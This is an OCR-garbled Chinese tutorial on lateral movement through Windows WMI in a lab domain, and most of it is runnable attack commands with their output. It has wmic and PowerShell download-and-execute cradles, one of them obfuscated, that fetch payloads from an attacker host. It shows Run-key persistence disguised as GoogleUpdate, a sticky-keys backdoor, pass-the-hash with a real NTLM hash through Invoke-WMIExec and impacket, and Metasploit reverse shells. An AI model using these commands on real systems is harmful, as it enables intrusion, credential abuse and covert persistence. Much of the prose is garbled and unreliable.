MITRE | ATT&CK H13C

https://huntingday.github.io/

BraReEBE) [ wni FH ]

ox01 AP ESIRER R

> wni T4 ?

> RBEIhA A wni #HTEREBEHORHIRF G X2 A ?

> I A win B8 wnic TRF T X B4R windows #l#3#tiT& TR 1E
> %F wmi 7F powershell THy—Lew iR

> AfIEBN S FRSNER wmi TREFFERFHTIZEMTEF LA shell R
> BT wni BT aEEBR

» KT CobaltStrike UK msf BTrH) wmi 15[m) T REAR LR

PN €7

2008R2-DCServer 192.168.3.106 2008r2_x64 rootkit #E#=[DC]
Lisa-PC 192.168.3.114 win7_x64 rootkit IH A& FH
WebServer-117 192.168.3.101 2008r2_x64 i web R85
WebServer-I1S8 192.168.3.108 2012r2_x64 i web R85
WebServer-11S6 192.168.3.102 2003r2_x86 HH web R85
win7-client 192.168.3.71 win7_x64 EE P

0x02 Bk, SERABKT BT wni BRRM AR ?

BN ERBIRA, B "windows EIZHIE[WNI]", S5 LR windows 03/xp HFHE—EMEERGHHO— MEMN, HRIHIRZ—E A T HERREMFEHIIERE windows BT EFE B EE, LARNTL S LI
BRI DIER A ARE, X windows WIEREEHREKEFA? B, CERERNTNEBEABIIERE windows BAFABLN B2, BS 1%, . O RIINEIBRE. . . [FHREHEHTR MRS RE— G
OB ORI, o0, PRAEHR BT A BRS 3 XX R B9BR 55 26 oh B 7% FITIRAIRIERD T, 0T, 5 F M BB, RN TE R £ FBRTERNER AR, EEFREL IMHHBHTE> 2], b ERM T
R, EERNEBRNRE wni TERTE—ETEEENGT, BESEERT, COARELERRNARTREBANLTRE

0x03 LsRmy,wni EASIA, EEHIERF AT AarREH
B, BRI BFRRE S "Windows Management Instrumentation"fREEARELARIEL, XZREFRIAGEFEH]

& Windows Font Cache Service Optimizes performanc... Started Automatic (Delayed Start)  Local Service

" Windows Installer Adds, modifies, andr... Manual Local System
E!'u.l":'indcm'-.'s Management Instrumentation Provides a common int... Started Automatic Local System
Windows Modules Installer Enables installation, m... Manual Local System

- Windows Presentation Foundation Font Cache 3.0.0.0 Optimizes performanc. .. Manual Local Service

Windows Process Activation Service The Windows Process ...  Started Manual Local System



HR, BB RIEB R AEEEERIT 135 i H [EEREIHE#EE FENER S X B 445,5985 F1 5986 i M, ILAAEAR i 1R1E , B Adr < 8% % Bl B &R R & bbis O K17, R, XEERNMYs=E—REBEATHILE
AF N ], A TUZE B R KRR IR SMEBA [E] At 135 3w O B9 SCRREUR

# telnet 192.168.3.101 135 A RH&EAF ST, I UEIXEFT T BARAY 135 in O, EEREAFRER, MR EREAE, ARSI E T

# wmic /node:192.168.3.101 /user:administrator /password:Adminl2345 PROCESS call create "mspaint.exe"

IC:\>wmic /node:192.168.3.101 /user:administrator /password:Admin12345 PROCESS call create "mspaint.exe"
[ERROR:

Description = |[The RPC server is unavailable.

Y FENFGEBREZR, A THREEECEEAREINNALHNESREERN[LTREEE IKSEB[ LR EHM hash] X A= "HE" T

ox04 fIIF A win iRy wnic TR [HXEEX wni —M<i78I] MFINFRAEEZE B Y% LHITER payload
FIA wnic IEEXIEM THEHNZR
# wmic /node:192.168.3.101 /user:administrator /password:Adminl2345 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://192.168.3.69/dwn.jpg c:/windows/temp/windwn.exe

& c:/windows/temp/windwn.exe & certutil.exe -urlcache -split -f http://192.168.3.69/dwn.jpg delete"
in CAWindows\system32\emd.exe 5
?C:\>wmic /node:192.168.3.101 /user:administrator /password:Adminl2345 PROCESS call create "cmd /c certutil.exe
-split -f http://192.168.3.69/duwn.jpg c:/windows/temp/windwn.exe & c:/windows/temp/windwn.exe & certutil.exe
-split -f http://192.168.3.69/dwn.jpg delete"
Executing (Win32_Process)->Create()
Method execution successful.

Out Parameters:
instance of __ PARAMETERS

{

ProcessId = 2908;
ReturnValue = ©;

¥s

C:\>

AR ATV RB IR LS HMA 17, EAECBERZE THIRNG



File  Settings  Builder About

IP Address Tag User@PC Version Status User Status  Country Operating Systern Account Type
“ 1921683101 Officedd  Administrator@WEBSERVER-II57  1.3.0.0 Connected  Active China [CN] Windows Server 2008 R2 Datacenter 6.  Admin

Processname

winlogaon, exe
cmd.exe
spoolsv.exe

| windwn,exe
taskmgr.exe
VRS EMVer exe
svchost.exe
cmd.exe
paostgres.exe
svchost.exe
SMSS5, exe
svchost.exe
inetinfo.exe
fdlauncher.exe
svchost.exe
wininit.exe
MMmE exe
conhost. exe
TSVMCache.exe
svchost.exe
C5r55.8X8
<

Processes: .

4 | 1] [ F

Listening on port 443.

F A wmic IFEH TSI beacon 4

Payload Generator

This dialog generates a payload to stage a Cobalt Strike
listener. Several output options are available.

Listener: Jwmi - Add
Output: |PowerShell - l
x64: ¥ Use x64 pa}daad}

[ Generate H Help l

WA EMAY IEX DownloadString RinfEIN#E#1T powershell payload
# wmic /NODE:192.168.3.108 /user:"administrator" /password:"admin!@#45" PROCESS call create "powershell -nop -exec bypass -C \"IEX(New-Object

Net.WebClient).DownloadString('http://192.168.3.69/Windwn.txt");\""



B Ch\Windows\system32\cmd exe

IC:\>wmic /NODE:192.168.3.108 /user:"administrator" /password:"admin!@#45" PROCESS call create "powershell -nop

lass -c¢ \"IEX(New-Object Net.WebClient).DownloadString( 'http://192.168.3.69/Windwn.txt");\""

Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:

linstance of __ PARAMETERS

{
ProcessId = 4608;
ReturnValue = 0;

g
T ,beacon IEE %

Cobalt Strike Wiew Attacks Reporting Help

DR 0O BE=¢ B8 rPU il f/a B

| in | =

com note pid last

Event Log X| Listeners X | Listeners X | Beacon 192.168.4.8@4608 X

beacon> sleep 0

[*] Tasked beacon to become interactive
beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 24 bytes

[*] You are WEBSERVER-IIS8\Administrator (admin)
beacon> getsystem

[*] Tasked beacon to get SYSTEM

[+] host called home, sent: 100 bytes

[+] Impersonated NT AUTHORITY\SYSTEM

YA, BB LEIAE ESHEIEE, NP A 7T R s — LB B ids F AV, T DU EE PS RIDFEFURE T, W T —LE R ESENIEE R U aesadsy
# powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.3.69/Windwn.txt");"
# powershell -nop -exec bypass -C "("IEX'+'(Ne'+'w-0"+'bject

Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+"'trin'+'g'+"' ('+'1lvchttp://'+'192.168.3"'+'.69/ '+ 'Win'+'d'+'w'+'n."+"txtlv'+'c)'+';"').REplaCE('1vc',[STRing][CHAR]39) | IeX"

L EBRAEZENTT payload, FERMNBERZHXIZERIEEME

SeH kgt shell, S8fE181d ipc E exe f9 shell ZE|BirlssIIEEE X T

# net use \\192.168.3.108\admin$ /user:"administrator" "admin!@#45"
# xcopy d:\GoogleUpdate.exe \\192.168.3.108\admin$\temp

# net use \\192.168.3.108\admin$ /del

= C:\Windows\systemBﬁcmd.exe

D:\>net use \\192.168.3.108\admin$ /user:"administrator" "admin!@#45"
The command completed successfully.

D:\>xcopy d:\GoogleUpdate.exe \\192.168.3.108\admin$\temp
D:\GoogleUpdate.exe
1 File(s) copied

D:\>net use \\192.168.3.108\admin$ /del
\\192.168.3.108\admin$ was deleted successfully.




tbin, IR AR B il sr 0EM R INE R B Bah 1, B windows F ARVEM R B BaRIES £/\1, RS MUK R &AM run fNE exe AF), H24, BT HENREME d11 L2REBEFEEN, IERABENARET B
B, 2B EIRAR T DU X R R E N A

# wmic /NODE:"192.168.3.108" /USER:"administrator" /PASSWORD:"admin!@#45" process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v \"GoogleUpdate\" /t REG_SZ

/d \"C:\windows\temp\GoogleUpdate.exe\" /f"

JD:\}wmic /NODE:"192.168.3.108" /USER:"administrator"” /PASSWORD:"admin!@#45" process call create "reg add HKLM\j§
icrosoft\Windows\CurrentVersion\Run /v \"GoogleUpdate\" /t REG_SZ /d \"C:\windows\temp\GoogleUpdate.exe\" /f"
Executing (Win32_Process)->Create()

Method execution successful.
Out Parameters:
instance of _ PARAMETERS

{

g

m

ProcessId = 4932;
ReturnValue = 0;

E: Registry Editor
File Edit ‘Jlew Faxrn:nrlte= HEIp

' |> PrecisionTouchPad ~ ||| Name Type Data
----- PreviewHandlers ab| (Default) REG 57 fwalue not set)
g PropertySystem [ ""E_';'GDDQ|EUFII:|EtE REG_S5Z | C\windows\temp\GoogleUpdate.exe |
[ PushMotifications [ 2B VMware User Process REG_S7 “C\Program Files\Whware\VMware Tools\wmtoolsd.exe” -n vmusr
[ - . Reliahility
f} RenameFiles
I Run |
----- RunOnce
----- SelectiveRemoteWipe
[: - | SettingSync

ATREFTEMNOBEBHIUR, URREETEFTNERBRRS, AW, KETXBREREBEAN BN, BERNEHEEEENERIARSEN, RHEN —ERLENRI, R EER

# wmic /NODE:"192.168.3.108" /USER:"administrator" /PASSWORD:"admin!@#45" process call create "shutdown /r /f /t 1 /c \"Windows Update\""

ID.\}wmlc /NODE:"192.168.3.108" /USER:"administrator" /PASSWORD:"admin!@#45" process call create "shutdown /r /s
\"Windows Update\""

Executing (Win32_Process)->Create()
Method execution successful.

Out Parameters:

instance of __ PARAMETERS

m

+ . Stopping services

{

ProcessId = 2568;
ReturnValue = 6;

&R Windows Server2012R2

RN ARERTH, EEBREEERAGE, BN SESI L4, AR T, AIBNELEKFBEEASX AT, EANIBL/\1E B AV EMiTHNERN, A TE BRI HFESKNES, EEARZH, ARRFHMNET B
1$ wnic X ATFBENT], fTHZRAE CHEIZIE L



File  Settings Builder About

IP Address Tag Usen@PC Version Status User Status  Country Operating System Account Type

| 192.168.3.108 Officed4  Administrator@ WEBSERVER-ISS 1300  Connected  Active China [CN] Windows Server 2012 R2 Datacenter ... Admin |

PropertySystem Mame Walue
PushMotifications

Reliability
RenameFiles

abi| [Default) (value not set)
abl GoogleUpdate Cwindows\tempi\GoogleUpdate.exe |
ab Viware User Process “ChProgram Files'WMware'\Whware Tools\wmtoolsd.exe™ -nv...

RunCnce
SelectiveRemoteWipe
Settingsync

Setup

SharedDiLLs

Shell Extensions
ShellCompatibility
ShellserviceCthjectDelayload
SideByside

SMDER

ShT

Store

StructuredQuery
Syncmgr

SysPrepTapi
SystemProtectedUserData
Telephony
ThemelManager

Themes

i ] - | ¥

HKEY LOCAL MACHIMNEA\SOFTWARE\Microsoft'\Windowsi\CurrentVersion\Run

Listening on port 443. .:EI

BRIZBIFRAGEEAT BRI AVFIZRE rdp &, BB T U AERARO TR EAENEZEN AN BEER 03 UTHZERSE], EEEE, XRPRMNBEHAEEXAT, LN BNBERR AN T IRATIUX



AZEERIERTRGUEME

# wmic /NODE:"192.168.3.102" /USER:"administrator" /PASSWORD:"admin" process call create "reg add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution

Options\sethc.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"

éﬁ#ﬁﬂmmﬁq@mnl'?rﬁﬂﬂf = i;hlii&ﬁ
D:\>wmic /NODE:"192.168.3.108" /USER:"administrator" /PASSWORD:"admin!@#45" process call create "reg add \"HKLjs
\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd

m

Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:

instance of _ PARAMETERS
{

ProcessId = 3432;
ReturnValue = 0;

# mstsc /admin /console /v:192.168.3.102
" Administ mﬂm ot -

1
C:\>mstsc /fadmin /console /v:192.168.3.102

Miancmaft =
I 4 " Windows -

. & Oatacenter Edition

Capyright @ 2005 Microsaft Carporalion
m— LT = ¥ =

User name: I

Passward: I

Zancel Cptions ==

c | O WINDOWS system32h cmd. exe

CisUWINDOWS~sustend2 >guery user

USERNAME SESSI10MNAME ID STATE IDLE TIME LOGON TIHME
administrator console B Active - 18-.15-20818 11:1
3 PH

C:sWINDOWSssustend2 >vwhoami ~Auser

USER INFORMATION

nt authorityssystem 5-1-5-18
C:~WINDOWE~system32 >




ox05 A BT T IEF A wnic ZEF Tt B ARA M EEEV s T R TZERE, BERERE TOEH AZMET wni BSMBTRRETTENNTEMZERE

WMIcmd [EIRHFLER]

EALENGSEEREHEN T R [HX—S O AEH], FREELKPHENHNKRITEN, b, YLEAKRFTERMNE LEZ TR, hREM socks IETREFRERE BARRM RS, Fiban, AFELINRA wni T HEAY
shell, ERAE—NTHET, T beacon XM EHAEH I cmd shell ZRAERAE W, FFEWULENER. . . MITFRBEIN, RIS EBERF/RENEM < ELLHAMNI TRERRF, AMENEHH L AEMB[ %
HWMITEREE, AFHAM] 7L, BFEERRA, b ERENFERN N LS ENE, TRELTFCEETXERAELINMN, SAW, MRARRIBAIIASHFN—LINEEFRERMN wnl SN TR, 2B EARBA, b, TEE
WAYIX A wmiemd, EXE UM R LLRE 2, iR EREEAFIECAIMREBET, ETHRERACFERNBER, EEFTIRAI TN, github Hidlt: https://github.com/nccgroup/WMIcmd #R/E B ELEEE, EiFEt
KRS 135 ik 3T LI, B AR SEFEIE, A BN ES RS, TRECH vs ®BIXF TR, HEMNESER=/AME, —> exe, A d11, =P XHINEXR B4t 8ok A4, RH R R ASEE, AZAT

# WMIcmd.exe -h 192.168.3.108 -u administrator -p admin!@#45 -d . -c "query user" AREWEEHRFER,ENEAELE)S, AL T /EAIME TR 2% [0 3

" - — -
wm CAWindows\system32\cmd.exe

D:\wmicmd>WMIcmd.exe -h 192.168.3.108 -u administrator -p admin!@#45 -d . -c "query user”
[!] Connecting with administrator

[i] Connecting to 192.168.3.168

[i] Connected

[i] Command: query user

[i] Running command...

[i] Getting stdout from registry from

[i] Full command output received

USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
administrator console 1 Active none 16/15/2018 11:15 PM

wmiexec.vbs [ WEE + F3ZEHR shell /NFLH ]
— (N EIERAZ ISR/ NHIAR, BLLEEZ T [ RNFEZ], AIREA, RESEIREREZ XA, BNNNNEE, FEAEEEREIELFEEMSR, LA ZIEEFE —Mal X4F, EBRERENTE R e Bk, A
LR B, T, B2, RNEZRXEZRI— D B2 ¥ X 51 shell



# cscript wmiexec.vbs /shell 192.168.3.106 rootkit\administrator admin!@#45 [t4b2 & 3 HAEYEE KA

EX C\Windows\system3 2 omd.exe - scnpt wmiexec.vbs /shell 192.168.3.106 rootkit\administrator admin!@#45

ID:\>cscript wmiexec.vbs /shell 192.168.3.106 rootkit\administrator| admin!@#45
IMicrosoft (R) Windows Script Host Version 5.8

ICopyright (C) Microsoft Corporation. All rights reserved.

WMIEXEC : Target -> 192.168.3.166
WMIEXEC : Connecting...
WMIEXEC : Login -> OK
WMIEXEC : Result File -> C:\windows\temp\wmi.dll
WMIEXEC : Share created sucess.
WMIEXEC : |Share Name -> WMI_SHARE
HMIEXEC : |Share Path -> C:\windows\temp
\Wlndows\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
administrator console 1 Active none 16/15/2018 6:86 PM

C:\Windows\system32>

BENZERN T
# cscript wmiexec.vbs /cmd 192.168.3.108 administrator admin!@#45 "query user" [t4bHRIARHEIR R MK A
s C:Windowssystern3 el =<2 - o= ==

D:\>cscript wmiexec.vbs /cmd 192.168.3.108 admin!@#45 "query user"
[Microsoft (R) Windows Script Host Version 5.8
|[Copyright (C) Microsoft Corporation. All rights reserved.

: Target -> 192.168.3.108

: Connecting...

: Login -> OK

: Result File -> C:\windows\temp\wmi.dll
: Share created sucess.

: Share Name -> WMI_SHARE

: Share Path -> C:\windows\temp

192.168.3.188 >> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
administrator console 1 Active none 10/15/2018 11:15 PM

[WMIEXEC : Share deleted sucess.

0x06 X T wmi 7E powershell T —EMM A [ HHNXBAHE BAREER[rid 500] 1Y IAXKS &L, BiE £4H hash 21377 Kt — =] IR ITHER payload, &IF LB IMEHEB —APIEJL/NEZR ps shell KRk,
FHIBRIEXSHEER ]
Invoke-WMIExec.psl BHZ

A% YF payload FNXF R AY ST =S, LA R B A T IR RRA AR msf, LR _E ARG AR ] 1)

msf > use exploit/windows/misc/hta_server

msf > set target 1

msf > set srvport 8088

msf > set payload windows/x64/meterpreter/reverse_http
msf > set lhost 192.168.3.69

msf > set lport 8081

msf exploit(windows/misc/hta_server) > exploit -j -z
[*] Exploit running as background job @.

[*] Started HTTP reverse handler on http://192.168.3.69:8081



msf exploit(windows/misc/hta_server) > [*] Using URL: http://0.0.0.0:8088/cgwd13xNGHO.hta
[*] Local IP: http://192.168.3.69:8088/cgw@13xNGHO.hta

[*] Server started.

B8 Invoke-WMIExec.psl IAIZFEIMNIT1% payload, E—FEXT RN ITHE, LAETAIZ2EE M hash LRI TT K17 payload 1Y
# powershell -exec bypass
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.psl');

PS > Invoke-WMIExec -Target 192.168.3.106 -Domain rootkit -Username administrator -Hash 518b98ad4178a53695dc997aa02d455¢c -Command "mshta http://192.168.3.69:8088/cgwd®13xNGHO.hta" -verbose

}‘m powershell -exec byp

?D:\Invnke-TheHash)pnwershell -exec bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS D:\Invoke-TheHash> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-R
invoke-TheHash/master/Invoke-WMIExec.psl');

PS D:\Invoke-TheHash> Invoke-WMIExec -Target 192.168.3.106 -Domain rootkit -Username administrator -Hash 518b9
695dc997aa02d455¢c -Command "mshta http://192.168.3.69:8088/cgw@l13xNGHO.hta" -verbose

VERBOSE: Connecting to 192.168.3.106:135

VERBOSE: WMI reports target hostname as 2008R2-DCServer

VERBOSE: [+] rootkit\administrator accessed WMI on 192.168.3.106

VERBOSE: [*] Using 2008R2-DCServer for random port extraction

VERBOSE: [*] Connecting to 192.168.3.106:49154

VERBOSE: [*] Attempting command execution

[+] Command executed with process ID 2540 on 192.168.3.106

PS D:\Invoke-TheHash>

&)Ja, o IAEE B ArY12560 meterpreter %A 3 O]

) > exploit -j -z
Exploit running as background job @.

Started HTTP reverse handler on http://192.168.3.69:8081
f exploit( ) > [*] Using URL: http://0.0.0.0:8088/cgwd®13xNGHO.hta
Local IP: http://192.168.3.69:8088/cgwf13xNGHO.hta
Server started.
192.168.3.1606 hta server - Delivering Payload
http://192.168.3.69:8081 handling request from 192.168.3.106; (UUID: bjdtljn5) Staging x64 payload (206937 bytes) ...
Meterpreter session 1 opened (192.168.3.69:8081 -> 192.168.3.106:64438) at 2018-10-16 15:56:29 +08600

exploit( ) = sessions -i 1
Starting interaction with 1...

meterpreter > getuid
Server username:|ROOTKIT\Administrator

meterpreter = sysinfo
Computer : 2008R2-DCSERVER

0s : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en_ US

Domain : ROOTKIT

Logged On Users : 2

Meterpreter : X64/windows

meterpreter > |

BRY Invoke-WMIExec.psl BIZAARNMREAIIFIZENITITN, HLFE Invoke-TheHash.psl iR 7 ASb—AREET wni 19, FESAHNIE, REEEN A EE RN E hash, B LBIEENMER THAA VL



# powershell -exec bypass
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.psl');
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-TheHash.psl'); e 0 # Invoke-WMIExec.psl, ¥ fll #k

Invoke-TheHash.ps1, A4 Invoke-TheHash EZE HZ%| Invoke-WMIExec 7%

PS > Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Domain rootkit -Username administrator -Hash 518B98AD4178A53695DC997AA02D455C IR target 28, XM ARBNEAT T
EAMBIMRET

BN powershall -exec !:;ypas;_;-

D:\>powershell -exec bypass
Windows PowerShell
Copyright (C) 2609 Microsoft Corporation. All rights reserved.

PS D:\> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke
-TheHash/master/Invoke-WMIExec.psl');
PS D:\> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke
-TheHash/master/Invoke-TheHash.psl1');
PS D:\> Invoke-TheHash -Type WMIExec -Target 192.168.3.8/24 -Domain rootkit -Username administrator -Hash 518B9
8AD4178A53695DC997AAB2D455C

rootkit\administrator WMI access denied on 192.168.3.52

rootkit\administrator WMI access denied on 192.168.3.71

rootkit\administrator WMI access denied on 192.168.3.101

rootkit\administrator WMI access denied on 192.168.3.1062

rootkit\administrator accessed WMI on 192.168.3.166

rootkit\administrator accessed WMI on 192.168.3.168

rootkit\administrator accessed WMI on 192.168.3.114

ox07 BT wni WELEFALR [ FrBENBETEERE MEIR Llinux -> EAMNTH windows, EXLFEIXZFI A impacket EHERR ]

BRI BESBEIXHEAER, Lbi, REBETHXE linux #1885, R {E socks, %A http BRIEXREFS. . &ML ENER, XIB YIS AESBEZIERN THETE windows g £, AMEAECEHFIAY linux H188 LD
& python FFF LI impacket, M 1AW AR, BEHATEX AT

# git clone https://github.com/SecureAuthCorp/impacket.git

# cd impacket/

# pip install .

# cd /root/impacket/examples

# python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455¢c administrator@l92.168.3.108 "query user" AHEIER hash 1%

# python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aav2d455¢c rootkit/administrator@192.168.3.106 "net view /domain" & hash %%



= @ t /e

~fimpacket/examples => python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455¢c administrator@ioz.
168.3.108 "query user"

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

*] SMBv3.0 dialect used

USERNAME SESS5TONNAME ID STATE IDLE TIME LOGON TIME
administrator console 1 Active none 16/15/2618 11:15 PM

- @st 3
~[impacket/examples => python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aab2d455¢c rootkit/administra
tor@192.168.3.106 "net view /domain"
Impacket v8.9.17 - Copyright 2002-2018 Core Security Technologies

*] SMBv2.1 dialect used

WORKGROUP
The command completed successfully.

-= @

~fimpacket/examples ==

H= X impacket RHEET python, EFAEZERANWTELY 7 B Y exe , X —K7E windows TMERBLLRITE T , AAIFTREMNEXHLERNKR, =P SM LR, T —AEEEIETE socks | BARAMNE, B 22| B x4/l
ar E RASSARITE, AL AV EX AT
Github #biit : https://github.com/maaaaz/impacket-examples-windows

# wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C rootkit/administrator@192.168.3.106 "query user" [WAAEMHETE N, HLEESE 445 im0 BER, ™Ik 135, B8F5_E @AY impacket for python

D:\>wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C rootkit/administrator@l92.168.3.106 "query user"
Impacket vB.9.17 - Copyright 2002-2018 Core Security Technologies

SMBv2.1 dialect used
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
administrator console 1 Active none 19/15/2018 6:06 PM

D:\>

HSL, 7 Kali AT 7 IEE SHIRMINEN TR, tban, pth-toolkit TR, SLExF o U E M socks[ L3R 1E, B socks5,4 7 4a At 2B LEAIEEERE BARAMN TR XA, AR ALIH T

# pth-winexe -U administrator%Adminl2345 --system --ostype=1 //192.168.3.101 cmd



- @
~ == pth-winexe -U administrator%Adminl2345 --system --ostype=1 //192.168.3.101 cmd
E md4hash wrapper called.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserve

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>query user

query user

USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
administrator consaole 1 Active none 186/9/2818 8:05 AM

C:\Windows\system32=>

0x09 X msf HAYEFh wni #E [ FEahEBRF] A
LAt E AR A L EE B YA meterpreter A ITHEEER

meterpreter > sysinfo
Computer : 2008R2-DCSERVER

0s : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en_US

Domain : ROOTKIT

Logged On Users : 2

Meterpreter : x64/windows

meterpreter > background

[*] Backgrounding session 2...

msf exploit( ) > use exploit/windows/local/wmi

HL, BIMER AT AT A& A wni 2R, (BEIAFE R meterpreter LR PRIV RIS, BIRFEEK, FERA/ NI [ ALHLRALEIEmsf A0, FLT—H4R1, BT, BE MRS AFTAG 7, BEXEBNBHALTUBTES,
SKBRAEARZ 5K

msf > use exploit/windows/local/wmi

msf > set rhosts 192.168.3.108

msf > set smbuser administrator

mst > set smbpass admin!@#45

msf > set session 1

msf > set payload windows/x64/meterpreter/reverse_tcp uuid

msf > set lhost 192.168.3.69

msf > set lport 8089

msf > exploit -j

) = exploit -j
Exploit running as background job 2.

Started reverse TCP handler on 192.168.3.69:8089

exploit( ) >

[192.168.3.108] Executing payload

[192.168.3.108] Process Started PID: 3864

Sending stage (2605891 bytes) to 192.168.3.108

Meterpreter session 3 opened (192.168.3.69:8089 -> 192.168.3.108:49170) at 2018-10-16 17:27:53 +0800

exploit( ) = sessions -i 3
[*] Starting interaction with 3...

meterpreter = sysinfo
: WEBSERVER-IISS
: Windows 2012 R2 (Build 9600).
: X64

System Language : en_US

Domain : WORKGROUP

ST
Meterpreter : x64/windows
meterpreter > |
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